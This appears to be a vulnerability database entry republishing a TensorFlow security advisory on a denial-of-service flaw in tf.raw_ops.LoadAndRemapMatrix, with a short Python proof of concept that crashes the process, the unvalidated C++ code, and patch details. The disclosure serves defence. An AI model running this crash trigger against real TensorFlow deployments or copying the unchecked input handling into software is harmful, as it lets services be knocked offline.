PT-2026-59971 · Pypi · Tensorflow-Cpu

Published

2026-07-09

·

Updated

2026-07-09

CVSS v3.1

5.5

Medium

VectorAV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Impact

The implementation of [tf.raw ops.LoadAndRemapMatrix](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load and remap matrix op.cc#L70-L98) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
python
import tensorflow as tf

ckpt path = tf.constant(
  "/tmp/warm starting util test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old tensor name = tf.constant(
  "/tmp/warm starting util test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row remapping = tf.constant(0, shape=[], dtype=tf.int64)
col remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw ops.LoadAndRemapMatrix(
 ckpt path=ckpt path,
 old tensor name=old tensor name,
 row remapping=row remapping,
 col remapping=col remapping,
 initializing values=initializing values,
 num rows=1,
 num cols=1)
The code assumes initializing values is a vector but there is no validation for this before accessing its value:
cc
OP REQUIRES OK(context, context->input("row remapping", &row remapping t));
const auto row remapping = row remapping t->vec<int64 t>();

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3357

Affected Products

Tensorflow-Cpu